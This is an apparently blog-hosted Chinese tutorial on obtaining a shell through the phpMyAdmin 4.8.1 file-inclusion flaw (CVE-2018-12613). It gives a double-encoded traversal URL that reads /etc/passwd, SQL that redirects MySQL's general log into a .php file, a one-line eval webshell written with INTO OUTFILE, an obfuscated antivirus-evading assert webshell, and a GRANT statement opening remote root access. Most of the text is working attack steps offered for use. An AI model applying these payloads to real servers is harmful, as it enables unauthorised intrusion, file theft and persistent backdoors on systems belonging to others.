phpMyAdmin 4.8.1後臺文件包含漏洞Getshell的幾種姿勢

phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)

phpMyAdmin是一套開源的、基於Web的MySQL數據庫管理工具。其index.php中存在一處文件包含邏輯,
通過二次編碼即可繞過檢查,造成遠程文件包含漏洞。

受影響版本:
phpMyAdmin 4.8.0和4.8.1受到影響。

登陸phpmyadmin後臺:
在這裏插入圖片描述
訪問 http://192.168.0.132:8080/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd,
可見/etc/passwd被讀取,說明文件包含漏洞存在:
在這裏插入圖片描述
一下講解幾個Getshell的姿勢。

利用session文件

見:https://blog.csdn.net/qq_45521281/article/details/105780497

改變寫入的日誌的路徑

首先,介紹兩個MySQL全局變量(general_log、general_log file)

  • general log 指定日誌保存狀態,一共有兩個值(ON/OFF)ON代表開啓 OFF代表關閉。
  • general log file 指的是日誌的保存路徑

mysql 5.0版本以上會創建日誌文件,修改日誌的全局變量,也可以getshell。但是也要對生成的日誌有可讀可寫的權限。
查看日誌狀態:

SHOW VARIABLES LIKE 'general%';

在這裏插入圖片描述
當 general_log=ON 時,所執行的sql語句都會出現在 /var/lib/mysql/1e164993aaf5.log 文件。那麼,如果把 general_log_file 的路徑修改爲 /var/lib/mysql/1.php,那麼所執行的sql語句就會保存在1.php中,如果我們執行一個php小馬,就可以getshell:

SET GLOBAL general_log='on'

在這裏插入圖片描述

SET GLOBAL general_log_file='D:/wwwroot/1.php'

在這裏插入圖片描述
如果輸入不存在的路徑時會報錯:
在這裏插入圖片描述
或許我們可以利用這個來探測目錄結構,如果路徑正確的話
這樣的話在相應的目錄下就會生成一個1.php,再次查看日誌的狀態:
在這裏插入圖片描述
OK!!!滿足要求!
將一句話木馬寫入1.php文件,既然是日誌文件,我們select查詢自然也會被保存在日誌裏面:
我們構造 :select ‘<?php phpinfo();?>’
在這裏插入圖片描述
這時候相當於我們把 <?php phpinfo();?> 寫入到日誌 1.php中,我們嘗試訪問日誌文件:1.php
在這裏插入圖片描述
成功執行了phpinfo()。

還有一種方法就是一句話木馬的寫入:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:/phpStudy/www/1.php';select '<?php eval($_POST[cmd]); ?>';

當然,前提是你得知道網站的絕對路徑,方法也有很多,比如通過報錯獲取路徑,通過phpinfo.php等等
但在新版的mysql中,這句話並沒有運行成功,應爲mysql新特性secure_file_priv會對讀寫文件產生影響,該參數用來限制導入導出,可以查看該參數:

在這裏插入圖片描述
當secure_file_priv爲NULL時,表示限制mysql不允許導入導出。所以爆出錯誤
在這裏插入圖片描述
要想使得該語句導出成功,則需要在mysql文件夾下修改my.ini 文件,在[mysqld]內加入secure_file_priv ="" 即可當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制(或者限制根目錄:secure_file_priv ="/"),此時就可以執行導出命令,這裏不再復現

附一個數據庫開啓外鏈的命令:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密碼' WITH GRANT OPTION;

附一個SQL查詢免殺shell的語句

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['bmjoker']));?>"

參考:https://www.cnblogs.com/bmjoker/p/9897436.html

附錄:

兩種getshell的姿勢思想是一樣的,都是靠記錄我們所執行的sql語句到文件中,再包含或連接菜刀來getshell。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章